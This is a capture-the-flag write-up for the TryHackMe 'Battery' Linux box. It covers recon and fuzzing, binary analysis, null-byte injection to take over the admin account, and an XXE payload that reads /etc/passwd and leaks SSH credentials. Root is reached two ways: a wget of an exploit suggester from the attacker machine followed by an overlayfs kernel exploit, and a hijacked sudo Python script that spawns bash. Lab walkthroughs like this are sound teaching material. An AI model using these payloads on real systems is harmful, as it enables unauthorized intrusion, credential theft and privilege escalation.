Intro

Battery is a medium difficulty Linux box that touches on several techniques. We’ll start with fuzzing a webapp and reverse engineering an executable we find on the target as part of our enumeration stage. Then we’ll move on to exploiting a null byte injection vulnerability in the very old version of PHP to gain access to the webapp as an admin user.

Once inside we’ll find an XXE bug that will allow us to enumerate files on the target and leak SSH credentials for an unprivileged user. Finally we’ll walk through 2 different privilege escalation techniques to get a root shell and capture the flag!

Recon

rustscan -a 10.10.15.30 -- -sC -sV -oA nmap1

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAPe2PVDHBBlUCEtHNVxjToY/muZpZ4hrISDM7fuGOkh/Lp9gAwpEh24Y/u197WBDTihDJsDZJqrJEJSWbpiZgReyh1LtJTt3ag8GrUUDJCNx6lLUIWR5iukdpF7A2EvV4gFn7PqbmJmeeQRtB+vZJSp6VcjEG0wYOcRw2Z6N6ho3AAAAFQCg45+RiUGvOP0QLD6PPtrMfuzdQQAAAIEAxCPXZB4BiX72mJkKcVJPkqBkL3t+KkkbDCtICWi3d88rOqPAD3yRTKEsASHqSYfs6PrKBd50tVYgeL+ss9bP8liojOI7nP0WQzY2Zz+lfPa+d0uzGPcUk0Wg3EyLLrZXipUg0zhPjcXtxW9+/H1YlnIFoz8i/WWJCVaUTIR3JOoAAACBAMJ7OenvwoThUw9ynqpSoTPKYzYlM6OozdgU9d7R4XXgFXXLXrlL0Fb+w7TT4PwCQO1xJcWp5xJHi9QmXnkTvi386RQJRJyI9l5kM3E2TRWCpMMQVHya5L6PfWKf08RYGp0r3QkQKsG1WlvMxzLCRsnaVBqCLasgcabxY7w6e2EM
|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkDLTds2sLmn9AZ0KAl70Fu5gfx5T6MDJehrsCzWR3nIVczHLHFVP+jXDzCcB075jjXbb+6IYFOdJiqgnv6SFxk85kttdvGs/dnmJ9/btJMgqJI0agbWvMYlXrOSN26Db3ziUGrddEjTT74Z1kokg8d7uzutsfZjxxCn0q75NDfDpNNMLlstOEfMX/HtOUaLQ47IeuSpaQoUkNkHF2SGoTTpbC+avzcCNHRIZEwQ6HdA3vz1OY6TnpAk8Gu6st9XoDGblGt7xv1vyt0qUdIYaKib8ZJQyj1vb+SJx6dCljix4yDX+hbtyKn08/tRfNeRhVSIIymOTxSGzBru2mUiO5
|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCYHRWUDqeSQgon8sLFyvLMQygCx01yXZR6kxiT/DnZU+3x6QmTUir0HaiwM/n3aAV7eGigds0GPBEVpmnw6iu4=
|   256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILW7vyhbG1WLLhSEDM0dPxFisUrf7jXiYWNSTqw6Exri
80/tcp open  http    syn-ack Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Our port scan shows we only have SSH and HTTP ports open. This is an older version of OpenSSH (March 2014) but the HTTP service is probably the better place to start.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Battery]
└─$ curl -i http://10.10.15.30                   
HTTP/1.1 200 OK
Date: Tue, 25 May 2021 11:36:45 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Tue, 10 Nov 2020 19:16:55 GMT
ETag: "196-5b3c585a271d3"
Accept-Ranges: bytes
Content-Length: 406
Vary: Accept-Encoding
Content-Type: text/html

<html>
<body style="background-color:black;">
<pre style="text-align:center;color:red">
 _           _   _                  
| |__   __ _| |_| |_ ___ _ __ _   _ 
| '_ \ / _` | __| __/ _ \ '__| | | |
| |_) | (_| | |_| ||  __/ |  | |_| |
|_.__/ \__,_|\__|\__\___|_|   \__, |
                              |___/ 
                                        <sub>designed by cyberbot :)</sub>            
</pre>
</body>
</html>

Not a whole lot to look at here either, so let’s break out ffuf and fuzz for content.

ffuf -t 80 -u http://10.10.15.30/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

scripts                 [Status: 301, Size: 311, Words: 20, Lines: 10]
report                  [Status: 200, Size: 16911, Words: 69, Lines: 21]
                        [Status: 200, Size: 406, Words: 138, Lines: 25]
server-status           [Status: 403, Size: 291, Words: 21, Lines: 11]

ffuf -t 80 -u http://10.10.15.30/FUZZ -w /usr/share/wordlists/dirb/common.txt

.hta                    [Status: 403, Size: 282, Words: 21, Lines: 11]
                        [Status: 200, Size: 406, Words: 138, Lines: 25]
.htpasswd               [Status: 403, Size: 287, Words: 21, Lines: 11]
.htaccess               [Status: 403, Size: 287, Words: 21, Lines: 11]
admin.php               [Status: 200, Size: 663, Words: 45, Lines: 26]
index.html              [Status: 200, Size: 406, Words: 138, Lines: 25]
report                  [Status: 200, Size: 16911, Words: 69, Lines: 21]
scripts                 [Status: 301, Size: 311, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 291, Words: 21, Lines: 11]

We found a login form at /admin.php for the Bank of Abc Def.

Admin login page for Bank of Abc Def

We can register an account and log in:

Successful authentication as unprivileged user

There is an interesting “command” option in the menu but if we click it we receive an alert that only admins can access that page and are then logged out.

We could test for SQL injection bugs but first let’s review the rest of the content found from our scans.

/report is not a webpage, rather it’s Linux binary.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Battery]
└─$ file report
report: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44ffe4e81d688f7b7fe59bdf74b03f828a4ef3fe, for GNU/Linux 3.2.0, not stripped

We can run strings report to analy ze the printable characters it contains, and it has some good stuff! Without even running the program we can tell it is a client for the Bank of Abc Def. We can also see a list of active users which we can use to start a custom wordlist.

...
admin@bank.a  
Password Updated Successfully!        
Sorry you can't update the password
Welcome Guest                                             
===================Available Options==============
1. Check users
2. Add user     
3. Delete user
4. change password
5. Exit           
clear                
===============List of active users================
support@bank.a
contact@bank.a             
cyber@bank.a     
admins@bank.a
sam@bank.a   
admin0@bank.a      
super_user@bank.a
control_admin@bank.a
it_admin@bank.a                                           
Welcome To ABC DEF Bank Managemet System!
UserName :         
Password :    
guest       
Your Choice : 
email :
...

We can grep the strings output with a regex to match only the @bank.a email addresses:

strings report | grep -E '^[a-zA-Z0-9_]+@bank.a$' | tee wordlist

It would still be helpful to know which of the users privileged. Using Ghidra we can analyze the decompiled source code and get a better understanding of how the application works.

There are only a few functions to look through. One of the features of the application is the ability to change the password for a user. This is done in the update() function. Looking at the code we can see that only admin@bank.a is allowed to update passwords which is a strong indication this is the admin user.

void update(char *param_1)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,"admin@bank.a");
  if (iVar1 == 0) {
    puts("Password Updated Successfully!\n");
    options();
  }
  else {
    puts("Sorry you can\'t update the password\n");
    options();
  }
  return;
}

So what can we do now with all the info we’ve gathered so far? The binary isn’t useful to us beyond identifying the admin’s username. After analyzing it in Ghidra we can see it doesn’t communicate to an API so it’s not going to help us get a shell on the server.

Let’s take another look at the login form next. We can see the server is running a really old version of PHP (5.5.9) from the banner in the reponse headers:

HTTP/1.1 200 OK
Date: Wed, 26 May 2021 19:31:45 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Set-Cookie: PHPSESSID=2rg8inkngfrtte62vt5kq6fo20; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 663
Connection: close
Content-Type: text/html

This version of PHP is vulnerable to null byte injection and we can use that to our advantage by registering an account with the admin’s username and setting our own password.

First we’ll need to proxy our traffic through Burp and turn the interceptor on.

Then go to the registration page and register an account using admin@bank.a as the username.

When Burp intercepts the request we’ll append a null byte %00 immediately behind the username.

Null byte injection to regsiter as admin user

Forward the request to complete the registration, and we can then log in as admin user with password we just set.

Successful authentication as admin user

Now that we’re authenticated as the admin user we can access the command page and see it’s a form with fields “Account Number” and “Remark”.

Let’s enter some random values and examine the request and response in Burp:

Examine Command request in Burp

The form is making a POST request with an XML document in the body that contains values from both form fields. The value we entered in the remark field is then reflected in the response, so we should test to see if we have an XXE vulnerability.

First let’s send that request to Burp’s repeater tab so we can easily modify and repeat the request.

As a proof of concept we can attempt to read the contents of /etc/passwd

Replace the request body with our payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><name>22</name><search>&xxe;</search></root>

And XXE is confirmed!

Exploiting XXE to leak sensitive info

Getting a User Shell

XXE will allow us to enumerate sensitive files on the server and search for credentials.

We’ll need to use a PHP stream filter to base64 encode any PHP files we want to read in order to prevent the code from being executed by the server.

In admin.php there is a teaser that credentials are hidden somewhere in another file. We’ll find them in acc.php

//MY CREDS :- cyber:REDACTED

And with that we can now SSH in to the box as cyber and grab flag1.txt in their home directory.

Root Flag

Method 1

Ubuntu 14.04 was released way back in 2013 so let’s check for kernel exploits.

We can use a script called linux-exploit-suggester-2 to help with this.

  1. Use Python’s built-in web server to serve the script over HTTP from our attack machine: python3 -m http.server 8888

  2. Download to the target: wget http://10.6.48.252:8888/linux-exploit-suggester-2.pl

  3. Make it executable: chmod +x linux-exploit-suggester-2.pl

  4. And fire away:

    cyber@ubuntu:/tmp$ ./linux-exploit-suggester-2.pl 
    
      #############################
        Linux Exploit Suggester 2
      #############################
    
      Local Kernel: 3.13.0
      Searching 72 exploits...
    
      Possible Exploits
      [1] exploit_x
          CVE-2018-14665
          Source: http://www.exploit-db.com/exploits/45697
      [2] overlayfs
          CVE-2015-8660
          Source: http://www.exploit-db.com/exploits/39230
      [3] pp_key
          CVE-2016-0728
          Source: http://www.exploit-db.com/exploits/39277
      [4] timeoutpwn
          CVE-2014-0038
          Source: http://www.exploit-db.com/exploits/31346
    

With a bit of research we’ll see the overlayfs exploit is a match for both our 3.13.0 kernel and Ubuntu 14.04.

I couldn’t get that particular exploit to work on this box but there is another one available here.

Copy the code, create a new file on the target named ofs.c and paste it in.

Now all we need to do is compile the code and run it to get a root shell.

cyber@ubuntu:/tmp$ gcc -o ofs ofs.c 
cyber@ubuntu:/tmp$ chmod +x ofs
cyber@ubuntu:/tmp$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(cyber)
# cd /root
# ls -l
total 4
-rw-r--r-- 1 root root 937 Nov 16  2020 root.txt
# wc -c root.txt
937 root.txt

Method 2

We already saw we can run /usr/bin/python3 /home/cyber/run.py with sudo and that script is owned by root.

Even though we can’t read or write to the file, we can still control it by removing and replacing it with our own code since we own the directory.

cyber@ubuntu:~$ rm run.py
rm: remove write-protected regular file ‘run.py’? y
cyber@ubuntu:~$ vim run.py

Paste in the shellcode:

#!/usr/bin/python
import os
os.system("/bin/bash")

And run it to get a root shell:

cyber@ubuntu:~$ sudo python3 /home/cyber/run.py
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)